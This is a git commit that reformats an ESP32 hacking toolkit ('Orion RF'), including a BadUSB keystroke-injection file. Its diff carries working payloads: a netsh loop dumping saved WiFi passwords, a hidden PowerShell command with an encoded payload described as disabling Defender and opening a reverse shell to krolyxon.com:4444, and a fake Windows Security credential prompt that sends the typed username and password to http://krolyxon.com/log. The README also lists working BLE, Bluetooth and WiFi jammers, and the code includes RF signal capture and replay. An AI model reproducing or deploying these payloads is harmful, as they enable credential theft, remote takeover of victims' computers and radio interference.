apply code formatting

This commit is contained in:
krolyxon 2026-05-14 23:14:31 +05:30
parent 3672abc8b4
commit 206ed22919
15 changed files with 1510 additions and 1693 deletions

View File

@ -27,8 +27,11 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
## Hardware ## Hardware
- ESP32-S3 N16R8 - ESP32-S3 N16R8
- 2x NRF24L01 - 2x NRF24L01 Module
- 2x CC1101 - 2x CC1101 Module
- PN532 NFC Module
- MicroSD card Module
- TP4056 Charging Module
- OLED display - OLED display
- Battery-powered portable setup - Battery-powered portable setup
@ -43,7 +46,7 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
| BLE Mouse | Working | | BLE Mouse | Working |
| BLE Jammer | Working | | BLE Jammer | Working |
| Bluetooth Jammer | Working | | Bluetooth Jammer | Working |
| WiFi Jammer | Experimental | | WiFi Jammer | Working |
| RF Capture | WIP | | RF Capture | WIP |
| RF Replay | WIP | | RF Replay | WIP |
| SD Card Support | Planned | | SD Card Support | Planned |

View File

@ -1,7 +1,7 @@
#include "../config.h"
#include "../hid/badusb.h"
#include <Arduino.h> #include <Arduino.h>
#include <BleMouse.h> #include <BleMouse.h>
#include "../hid/badusb.h"
#include "../config.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include "ui/display.h" #include "ui/display.h"
@ -11,8 +11,7 @@
extern BleMouse bleMouse; extern BleMouse bleMouse;
// ===== MAIN ===== // ===== MAIN =====
void ble_mouse_run() void ble_mouse_run() {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 25, "BLE Mouse"); u8g2.drawStr(10, 25, "BLE Mouse");
@ -21,22 +20,25 @@ void ble_mouse_run()
delay(800); delay(800);
while (1) while (1) {
{
// 🔥 EXIT FIRST (clean) // 🔥 EXIT FIRST (clean)
if (btnBack()) break; if (btnBack())
break;
bool connected = bleMouse.isConnected(); bool connected = bleMouse.isConnected();
int dx = 0; int dx = 0;
int dy = 0; int dy = 0;
if (connected) if (connected) {
{ if (!digitalRead(BTN_UP))
if (!digitalRead(BTN_UP)) dy = -6; dy = -6;
if (!digitalRead(BTN_DOWN)) dy = 6; if (!digitalRead(BTN_DOWN))
if (!digitalRead(BTN_LEFT)) dx = -6; dy = 6;
if (!digitalRead(BTN_RIGHT)) dx = 6; if (!digitalRead(BTN_LEFT))
dx = -6;
if (!digitalRead(BTN_RIGHT))
dx = 6;
if (dx || dy) if (dx || dy)
bleMouse.move(dx, dy); bleMouse.move(dx, dy);
@ -69,6 +71,3 @@ void ble_mouse_run()
delay(10); // important for BLE stability delay(10); // important for BLE stability
} }
} }

View File

@ -1,12 +1,12 @@
#include <Arduino.h> #include <Arduino.h>
#include <BLEAdvertisedDevice.h>
#include <BLEDevice.h> #include <BLEDevice.h>
#include <BLEScan.h> #include <BLEScan.h>
#include <BLEAdvertisedDevice.h>
#include <vector> #include <vector>
#include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h" #include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h"
// ===== DEVICE STRUCT ===== // ===== DEVICE STRUCT =====
struct BLEDeviceInfo { struct BLEDeviceInfo {
@ -46,9 +46,7 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
if (mData.length() >= 2) { if (mData.length() >= 2) {
char buffer[10]; char buffer[10];
sprintf(buffer, "0x%02X%02X", sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
(uint8_t)mData[1],
(uint8_t)mData[0]);
dev.manufacturer = String(buffer); dev.manufacturer = String(buffer);
} else { } else {
dev.manufacturer = "unknown"; dev.manufacturer = "unknown";
@ -58,8 +56,7 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
} }
if (advertisedDevice.haveServiceUUID()) { if (advertisedDevice.haveServiceUUID()) {
dev.deviceType = dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
advertisedDevice.getServiceUUID().toString().c_str();
} else { } else {
dev.deviceType = "unknown"; dev.deviceType = "unknown";
} }
@ -69,18 +66,14 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
}; };
// ===== DRAW MENU ===== // ===== DRAW MENU =====
void ble_drawMenu() void ble_drawMenu() {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
if (devices.empty()) if (devices.empty()) {
{
u8g2.setFont(u8g2_font_6x12_tr); u8g2.setFont(u8g2_font_6x12_tr);
u8g2.drawStr(0, 30, "No devices"); u8g2.drawStr(0, 30, "No devices");
u8g2.drawStr(0, 45, "Press BACK"); u8g2.drawStr(0, 45, "Press BACK");
} } else {
else
{
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
char counter[20]; char counter[20];
@ -89,15 +82,14 @@ void ble_drawMenu()
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) for (int i = 0; i < 3; i++) {
{
int idx = selectedIndex + i; int idx = selectedIndex + i;
if (idx >= devices.size()) break; if (idx >= devices.size())
break;
int y = 22 + i * 14; int y = 22 + i * 14;
if (i == 0) if (i == 0) {
{
u8g2.drawBox(0, y - 10, 128, 12); u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0); u8g2.setDrawColor(0);
} }
@ -119,8 +111,7 @@ void ble_drawMenu()
} }
// ===== DEVICE DETAILS ===== // ===== DEVICE DETAILS =====
void ble_drawDetails(const BLEDeviceInfo &dev) void ble_drawDetails(const BLEDeviceInfo &dev) {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
@ -137,8 +128,7 @@ void ble_drawDetails(const BLEDeviceInfo &dev)
} }
// ===== SCAN ===== // ===== SCAN =====
void ble_scan() void ble_scan() {
{
devices.clear(); devices.clear();
u8g2.clearBuffer(); u8g2.clearBuffer();
@ -148,7 +138,8 @@ void ble_scan()
BLEDevice::init(""); BLEDevice::init("");
pBLEScan = BLEDevice::getScan(); pBLEScan = BLEDevice::getScan();
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false); pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
false);
pBLEScan->setActiveScan(true); pBLEScan->setActiveScan(true);
pBLEScan->setInterval(100); pBLEScan->setInterval(100);
pBLEScan->setWindow(99); pBLEScan->setWindow(99);
@ -157,52 +148,42 @@ void ble_scan()
// remove duplicates // remove duplicates
std::vector<BLEDeviceInfo> unique; std::vector<BLEDeviceInfo> unique;
for (auto &d : devices) for (auto &d : devices) {
{
bool exists = false; bool exists = false;
for (auto &u : unique) for (auto &u : unique) {
{ if (u.address == d.address) {
if (u.address == d.address)
{
exists = true; exists = true;
break; break;
} }
} }
if (!exists) unique.push_back(d); if (!exists)
unique.push_back(d);
} }
devices = unique; devices = unique;
} }
// ===== MAIN LOOP ===== // ===== MAIN LOOP =====
void ble_loop() void ble_loop() {
{
static uint32_t lastPress = 0; static uint32_t lastPress = 0;
if (millis() - lastPress < 200) if (millis() - lastPress < 200)
return; return;
if (btnDown() && selectedIndex < (int)devices.size() - 1) if (btnDown() && selectedIndex < (int)devices.size() - 1) {
{
selectedIndex++; selectedIndex++;
ble_drawMenu(); ble_drawMenu();
lastPress = millis(); lastPress = millis();
} } else if (btnUp() && selectedIndex > 0) {
else if (btnUp() && selectedIndex > 0)
{
selectedIndex--; selectedIndex--;
ble_drawMenu(); ble_drawMenu();
lastPress = millis(); lastPress = millis();
} } else if (btnSelect() && !devices.empty()) {
else if (btnSelect() && !devices.empty())
{
ble_drawDetails(devices[selectedIndex]); ble_drawDetails(devices[selectedIndex]);
delay(3000); delay(3000);
ble_drawMenu(); ble_drawMenu();
lastPress = millis(); lastPress = millis();
} } else if (btnBack()) {
else if (btnBack())
{
lastPress = millis(); lastPress = millis();
return; return;
} }

View File

@ -18,24 +18,19 @@
/////////////////cc1101 vars////////////// /////////////////cc1101 vars//////////////
// CC1101 via FSPI // CC1101 via FSPI
#define cc1101_SCK 15 #define cc1101_SCK 15
#define cc1101_MISO 3 #define cc1101_MISO 41
#define cc1101_MOSI 35 #define cc1101_MOSI 35
//////////////cc1101(1)////////// //////////////cc1101(1)//////////
#define CC1101_CS 45 #define CC1101_CS 40
#define CC1101_GDO0 21 #define CC1101_GDO0 39
#define CC1101_GDO2 47 #define CC1101_GDO2 42
/////////////cc1101(2)//////////
#define CC1101_2_CS 40
#define CC1101_2_GDO0 41
#define CC1101_2_GDO2 42
// SD Card via HSPI // SD Card via HSPI
#define SD_SCK 14 //#define SD_SCK 14
#define SD_MISO 39 //#define SD_MISO 39
#define SD_MOSI 38 //#define SD_MOSI 38
#define SD_CS 37 //#define SD_CS 37
// =================== Buttons ==================== // =================== Buttons ====================
@ -45,4 +40,3 @@
#define BTN_BACK 7 #define BTN_BACK 7
#define BTN_LEFT 1 #define BTN_LEFT 1
#define BTN_RIGHT 2 #define BTN_RIGHT 2

View File

@ -1,6 +1,6 @@
#include "../ui/display.h"
#include <Arduino.h> #include <Arduino.h>
#include <USBHIDKeyboard.h> #include <USBHIDKeyboard.h>
#include "../ui/display.h"
extern USBHIDKeyboard Keyboard; extern USBHIDKeyboard Keyboard;
@ -56,10 +56,8 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
} }
} }
void typeSlow(const char *text, int delayMs = 25) void typeSlow(const char *text, int delayMs = 25) {
{ while (*text) {
while (*text)
{
Keyboard.print(*text); Keyboard.print(*text);
delay(delayMs); delay(delayMs);
text++; text++;
@ -84,9 +82,7 @@ void badUSBMenu(int index) {
// break; // break;
// } // }
switch (index) {
switch(index)
{
// ================= ORION DEMO ================= // ================= ORION DEMO =================
case 0: case 0:
showRunningScreen("ORION Demo"); showRunningScreen("ORION Demo");
@ -216,9 +212,13 @@ void badUSBMenu(int index) {
delay(500); delay(500);
// The "Magic" Command: // The "Magic" Command:
// This lists all profiles and shows the 'Key Content' (the password) in clear text. // This lists all profiles and shows the 'Key Content' (the password) in
// We use a 'for' loop to automate this for every network the PC has ever joined. // clear text. We use a 'for' loop to automate this for every network the PC
typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); // has ever joined.
typeSlow(
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
"key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
@ -256,8 +256,7 @@ void badUSBMenu(int index) {
delay(700); delay(700);
for(int i = 0; i < 20; i++) for (int i = 0; i < 20; i++) {
{
typeSlow("color 4F"); typeSlow("color 4F");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
@ -278,8 +277,7 @@ void badUSBMenu(int index) {
delay(2000); delay(2000);
for(int i = 0; i < 15; i++) for (int i = 0; i < 15; i++) {
{
typeSlow("######### ORION-RF #########"); typeSlow("######### ORION-RF #########");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
@ -334,19 +332,43 @@ void badUSBMenu(int index) {
// The Base64 string below contains: // The Base64 string below contains:
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "); typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
"-EncodedCommand ");
// This is the encoded payload for krolyxon.com:4444 // This is the encoded payload for krolyxon.com:4444
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2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AB0AC4ARQBuAGMAbwBkAGkAb"
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
"AcgBhAHkAKAApACkAKQA=");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
@ -355,17 +377,31 @@ void badUSBMenu(int index) {
showRunningScreen("Vault Crack"); showRunningScreen("Vault Crack");
// Open hidden PowerShell // Open hidden PowerShell
runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\""); runCommand(
"powershell -nop -W Hidden -c \"$cred = "
"$host.ui.PromptForCredential('Windows Security','Please authenticate "
"to update your system credentials.','',''); $p = "
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
"Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
break; break;
// ================= DESKTOP GHOST ================= // ================= DESKTOP GHOST =================
case 12: case 12:
showRunningScreen("Ghost Mode"); showRunningScreen("Ghost Mode");
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
"System.Windows.Forms; "
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
"-Format Image).Save($path); Set-ItemProperty -Path "
"'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
// Hide Desktop Icons (requires a registry tweak) // Hide Desktop Icons (requires a registry tweak)
typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe"); typeSlow("reg add "
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
"explorer.exe && start explorer.exe");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
@ -383,5 +419,3 @@ void badUSBMenu(int index) {
break; break;
} }
} }

View File

@ -2,9 +2,9 @@
#include <USB.h> #include <USB.h>
#include <USBHIDKeyboard.h> #include <USBHIDKeyboard.h>
#include "libs/BleMouse.h"
#include <BLEDevice.h> #include <BLEDevice.h>
#include <BLEScan.h> #include <BLEScan.h>
#include "libs/BleMouse.h"
#include <RF24.h> #include <RF24.h>
#include <nRF24L01.h> #include <nRF24L01.h>
@ -14,15 +14,14 @@
#include <WiFi.h> #include <WiFi.h>
#include <esp_wifi.h> #include <esp_wifi.h>
#include <SPI.h>
#include <esp_chip_info.h> #include <esp_chip_info.h>
#include <esp_heap_caps.h> #include <esp_heap_caps.h>
#include <esp_system.h> #include <esp_system.h>
#include <SPI.h>
#include "ui/display.h" #include "ui/display.h"
#include "utils/buttons.h"
#include "ui/menu.h" #include "ui/menu.h"
#include "utils/buttons.h"
#include "config.h" #include "config.h"
#include "rf/cc1101.h" #include "rf/cc1101.h"
@ -33,12 +32,10 @@ USBHIDKeyboard Keyboard;
// ===== BLE MOUSE ===== // ===== BLE MOUSE =====
BleMouse bleMouse("Orion-RF", "Orion-RF", 100); BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
RF24 radio1(CE1_PIN, CSN1_PIN); RF24 radio1(CE1_PIN, CSN1_PIN);
RF24 radio2(CE2_PIN, CSN2_PIN); RF24 radio2(CE2_PIN, CSN2_PIN);
SPIClass *RADIO_SPI; SPIClass *RADIO_SPI;
void deactivateNRF1() { void deactivateNRF1() {
digitalWrite(CSN1_PIN, HIGH); digitalWrite(CSN1_PIN, HIGH);
digitalWrite(CE1_PIN, LOW); digitalWrite(CE1_PIN, LOW);
@ -49,29 +46,22 @@ void deactivateNRF2() {
digitalWrite(CE2_PIN, LOW); digitalWrite(CE2_PIN, LOW);
} }
// ================= SYSTEM INFO ================= // ================= SYSTEM INFO =================
void printSystemUsage() void printSystemUsage() {
{
esp_chip_info_t chip_info; esp_chip_info_t chip_info;
esp_chip_info(&chip_info); esp_chip_info(&chip_info);
Serial.printf("CPU cores: %d\n", chip_info.cores); Serial.printf("CPU cores: %d\n", chip_info.cores);
Serial.printf( Serial.printf("Free heap: %d bytes\n",
"Free heap: %d bytes\n", heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
heap_caps_get_free_size(MALLOC_CAP_DEFAULT)
);
Serial.printf( Serial.printf("PSRAM free: %d bytes\n",
"PSRAM free: %d bytes\n", heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
heap_caps_get_free_size(MALLOC_CAP_SPIRAM)
);
} }
void showSplash() void showSplash() {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_logisoso20_tr); // big font u8g2.setFont(u8g2_font_logisoso20_tr); // big font
@ -85,10 +75,8 @@ void showSplash()
delay(1500); // 1.5 sec delay(1500); // 1.5 sec
} }
// ================= SETUP ================= // ================= SETUP =================
void setup() void setup() {
{
Serial.begin(115200); Serial.begin(115200);
displayInit(); displayInit();
@ -102,8 +90,6 @@ void setup()
USB.begin(); USB.begin();
Keyboard.begin(); Keyboard.begin();
// NRF SPI safety // NRF SPI safety
// pinMode(CSN1_PIN, OUTPUT); // pinMode(CSN1_PIN, OUTPUT);
// digitalWrite(CSN1_PIN, HIGH); // digitalWrite(CSN1_PIN, HIGH);
@ -136,7 +122,4 @@ void setup()
} }
// ================= LOOP ================= // ================= LOOP =================
void loop() void loop() { menuLoop(); }
{
menuLoop();
}

View File

@ -1,12 +1,12 @@
#include "nfc.h" #include "nfc.h"
#include <Adafruit_PN532.h>
#include <Arduino.h> #include <Arduino.h>
#include <Wire.h> #include <Wire.h>
#include <Adafruit_PN532.h>
#include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h" #include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h"
#define PN532_IRQ -1 #define PN532_IRQ -1
#define PN532_RESET -1 #define PN532_RESET -1
@ -14,8 +14,7 @@
// Adafruit_PN532 nfc(Wire); // Adafruit_PN532 nfc(Wire);
Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
void drawWaiting() void drawWaiting() {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(10, 20, "PN532 Ready"); u8g2.drawStr(10, 20, "PN532 Ready");
@ -24,14 +23,12 @@ void drawWaiting()
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
void showUID(uint8_t *uid, uint8_t uidLength) void showUID(uint8_t *uid, uint8_t uidLength) {
{
char line[64]; char line[64];
String uidStr = ""; String uidStr = "";
for (int i = 0; i < uidLength; i++) for (int i = 0; i < uidLength; i++) {
{
if (uid[i] < 0x10) if (uid[i] < 0x10)
uidStr += "0"; uidStr += "0";
@ -54,16 +51,14 @@ void showUID(uint8_t *uid, uint8_t uidLength)
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
void pn532_init() void pn532_init() {
{
delay(100); delay(100);
nfc.begin(); nfc.begin();
delay(100); delay(100);
uint32_t versiondata = nfc.getFirmwareVersion(); uint32_t versiondata = nfc.getFirmwareVersion();
if (!versiondata) if (!versiondata) {
{
Serial.println("PN532 not found"); Serial.println("PN532 not found");
u8g2.clearBuffer(); u8g2.clearBuffer();
@ -79,28 +74,21 @@ void pn532_init()
nfc.SAMConfig(); nfc.SAMConfig();
} }
void pn532_scan_loop() void pn532_scan_loop() {
{
pn532_init(); pn532_init();
drawWaiting(); drawWaiting();
while (1) while (1) {
{
uint8_t success; uint8_t success;
uint8_t uid[7]; uint8_t uid[7];
uint8_t uidLength; uint8_t uidLength;
Serial.println("Scanning..."); Serial.println("Scanning...");
success = nfc.readPassiveTargetID( success =
PN532_MIFARE_ISO14443A, nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50);
uid,
&uidLength,
50
);
if (success) if (success) {
{
Serial.println("Card detected"); Serial.println("Card detected");
showUID(uid, uidLength); showUID(uid, uidLength);
@ -108,8 +96,7 @@ void pn532_scan_loop()
delay(1000); delay(1000);
} }
if (btnBack()) if (btnBack()) {
{
delay(150); delay(150);
break; break;
} }

View File

@ -1,10 +1,10 @@
#include <Arduino.h>
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "cc1101.h" #include "cc1101.h"
#include "../config.h" #include "../config.h"
#include "SPI.h" #include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include "SPI.h"
#include <Arduino.h>
// ===== CONFIG ===== // ===== CONFIG =====
#define RAW_BUF_MAX 512 #define RAW_BUF_MAX 512
@ -26,24 +26,25 @@ float rxBW = 325.0;
int powerLevel = 10; int powerLevel = 10;
// ===== ISR ===== // ===== ISR =====
void IRAM_ATTR pulseISR() void IRAM_ATTR pulseISR() {
{
unsigned long now = micros(); unsigned long now = micros();
if (!capturing) return; if (!capturing)
if (pulseIndex >= RAW_BUF_MAX) return; return;
if (pulseIndex >= RAW_BUF_MAX)
return;
unsigned long duration = now - lastEdgeTime; unsigned long duration = now - lastEdgeTime;
if (duration < 150) return; if (duration < 150)
return;
captureBuffer[pulseIndex++] = duration; captureBuffer[pulseIndex++] = duration;
lastEdgeTime = now; lastEdgeTime = now;
} }
// ===== OOK SETUP ===== // ===== OOK SETUP =====
void setupOOKMode() void setupOOKMode() {
{
ELECHOUSE_cc1101.SetRx(); ELECHOUSE_cc1101.SetRx();
ELECHOUSE_cc1101.setMHZ(currentFreq); ELECHOUSE_cc1101.setMHZ(currentFreq);
@ -57,18 +58,12 @@ void setupOOKMode()
// ===== INIT (LAZY, SAFE) ===== // ===== INIT (LAZY, SAFE) =====
// ================= CC1101 INIT ================= // ================= CC1101 INIT =================
bool initCC1101() bool initCC1101() {
{
Serial.println(); Serial.println();
Serial.println("===== CC1101 INIT ====="); Serial.println("===== CC1101 INIT =====");
// ===== SPI ===== // ===== SPI =====
SPI.begin( SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
pinMode(CC1101_CS, OUTPUT); pinMode(CC1101_CS, OUTPUT);
digitalWrite(CC1101_CS, HIGH); digitalWrite(CC1101_CS, HIGH);
@ -76,23 +71,14 @@ bool initCC1101()
delay(100); delay(100);
// ===== GDO ===== // ===== GDO =====
ELECHOUSE_cc1101.setGDO( ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
CC1101_GDO0,
-1
);
ELECHOUSE_cc1101.setSpiPin( ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
// ===== DETECT ===== // ===== DETECT =====
Serial.println("Checking chip..."); Serial.println("Checking chip...");
if (!ELECHOUSE_cc1101.getCC1101()) if (!ELECHOUSE_cc1101.getCC1101()) {
{
Serial.println("❌ CC1101 NOT FOUND"); Serial.println("❌ CC1101 NOT FOUND");
return false; return false;
} }
@ -134,27 +120,19 @@ bool initCC1101()
return true; return true;
} }
// ===== CAPTURE CONTROL ===== // ===== CAPTURE CONTROL =====
void startCapture() void startCapture() {
{
pulseIndex = 0; pulseIndex = 0;
capturing = true; capturing = true;
lastEdgeTime = micros(); lastEdgeTime = micros();
attachInterrupt( attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
digitalPinToInterrupt(CC1101_GDO0),
pulseISR,
CHANGE
);
Serial.println("Looking for RF... "); Serial.println("Looking for RF... ");
} }
bool isCC1101Ready() { bool isCC1101Ready() { return cc1101Inited; }
return cc1101Inited;
}
void stopCapture() void stopCapture() {
{
capturing = false; capturing = false;
detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
@ -163,20 +141,16 @@ void stopCapture()
} }
// ===== DEBUG PRINT ===== // ===== DEBUG PRINT =====
void printCapture() void printCapture() {
{
Serial.println("Captured pulses:"); Serial.println("Captured pulses:");
for (int i = 0; i < pulseIndex; i++) for (int i = 0; i < pulseIndex; i++) {
{
Serial.println(captureBuffer[i]); Serial.println(captureBuffer[i]);
} }
} }
// ================= REPLAY ================= // ================= REPLAY =================
void replaySignal() void replaySignal() {
{
Serial.println(); Serial.println();
Serial.println("Replaying signal..."); Serial.println("Replaying signal...");
@ -186,12 +160,8 @@ void replaySignal()
pinMode(CC1101_GDO0, OUTPUT); pinMode(CC1101_GDO0, OUTPUT);
for (int i = 0; i < pulseIndex; i++) for (int i = 0; i < pulseIndex; i++) {
{ digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
digitalWrite(
CC1101_GDO0,
(i % 2 == 0) ? HIGH : LOW
);
delayMicroseconds(captureBuffer[i]); delayMicroseconds(captureBuffer[i]);
} }
@ -205,13 +175,9 @@ void replaySignal()
Serial.println("Replay complete"); Serial.println("Replay complete");
} }
void captureAndDisplay() {
void captureAndDisplay() if (!cc1101Inited) {
{ if (!initCC1101()) {
if (!cc1101Inited)
{
if (!initCC1101())
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed"); u8g2.drawStr(0, 20, "CC1101 Failed");
@ -232,11 +198,9 @@ void captureAndDisplay()
unsigned long lastSignal = millis(); unsigned long lastSignal = millis();
int lastPulseCount = 0; int lastPulseCount = 0;
while (true) while (true) {
{
// signal detected // signal detected
if (pulseIndex > lastPulseCount) if (pulseIndex > lastPulseCount) {
{
lastPulseCount = pulseIndex; lastPulseCount = pulseIndex;
lastSignal = millis(); lastSignal = millis();
} }
@ -256,27 +220,22 @@ void captureAndDisplay()
u8g2.print(currentFreq); u8g2.print(currentFreq);
u8g2.print(" MHz"); u8g2.print(" MHz");
if (pulseIndex > 0) if (pulseIndex > 0) {
{
u8g2.drawStr(0, 54, "Signal Detected"); u8g2.drawStr(0, 54, "Signal Detected");
} } else {
else
{
u8g2.drawStr(0, 54, "Waiting..."); u8g2.drawStr(0, 54, "Waiting...");
} }
u8g2.sendBuffer(); u8g2.sendBuffer();
// auto print once capture stabilizes // auto print once capture stabilizes
if (pulseIndex > 20 && (millis() - lastSignal > 1500)) if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
{
stopCapture(); stopCapture();
Serial.println(); Serial.println();
Serial.println("===== RF CAPTURE ====="); Serial.println("===== RF CAPTURE =====");
for (int i = 0; i < pulseIndex; i++) for (int i = 0; i < pulseIndex; i++) {
{
Serial.print(captureBuffer[i]); Serial.print(captureBuffer[i]);
Serial.print(", "); Serial.print(", ");
} }
@ -292,12 +251,9 @@ void captureAndDisplay()
} }
} }
void handleMenu() void handleMenu() {
{ if (!isCC1101Ready()) {
if (!isCC1101Ready()) if (!initCC1101()) {
{
if (!initCC1101())
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed"); u8g2.drawStr(0, 20, "CC1101 Failed");
@ -314,8 +270,7 @@ void handleMenu()
// ===== CAPTURE FOR 5 SEC ===== // ===== CAPTURE FOR 5 SEC =====
unsigned long start = millis(); unsigned long start = millis();
while (millis() - start < 5000) while (millis() - start < 5000) {
{
noInterrupts(); noInterrupts();
int count = pulseIndex; int count = pulseIndex;
interrupts(); interrupts();
@ -339,8 +294,7 @@ void handleMenu()
// ===== DISPLAY CAPTURE BUFFER ===== // ===== DISPLAY CAPTURE BUFFER =====
int scroll = 0; int scroll = 0;
while (1) while (1) {
{
noInterrupts(); noInterrupts();
int count = pulseIndex; int count = pulseIndex;
interrupts(); interrupts();
@ -351,8 +305,7 @@ void handleMenu()
u8g2.drawStr(0, 8, "Captured Buffer"); u8g2.drawStr(0, 8, "Captured Buffer");
// display 6 lines // display 6 lines
for (int i = 0; i < 6; i++) for (int i = 0; i < 6; i++) {
{
int idx = scroll + i; int idx = scroll + i;
if (idx >= count) if (idx >= count)
@ -372,8 +325,7 @@ void handleMenu()
u8g2.sendBuffer(); u8g2.sendBuffer();
// scroll down // scroll down
if (btnDown()) if (btnDown()) {
{
if (scroll < count - 1) if (scroll < count - 1)
scroll++; scroll++;
@ -381,8 +333,7 @@ void handleMenu()
} }
// scroll up // scroll up
if (btnUp()) if (btnUp()) {
{
if (scroll > 0) if (scroll > 0)
scroll--; scroll--;
@ -390,15 +341,13 @@ void handleMenu()
} }
// replay // replay
if (btnSelect()) if (btnSelect()) {
{
replaySignal(); replaySignal();
delay(300); delay(300);
} }
// exit // exit
if (btnBack()) if (btnBack()) {
{
delay(150); delay(150);
return; return;
} }

View File

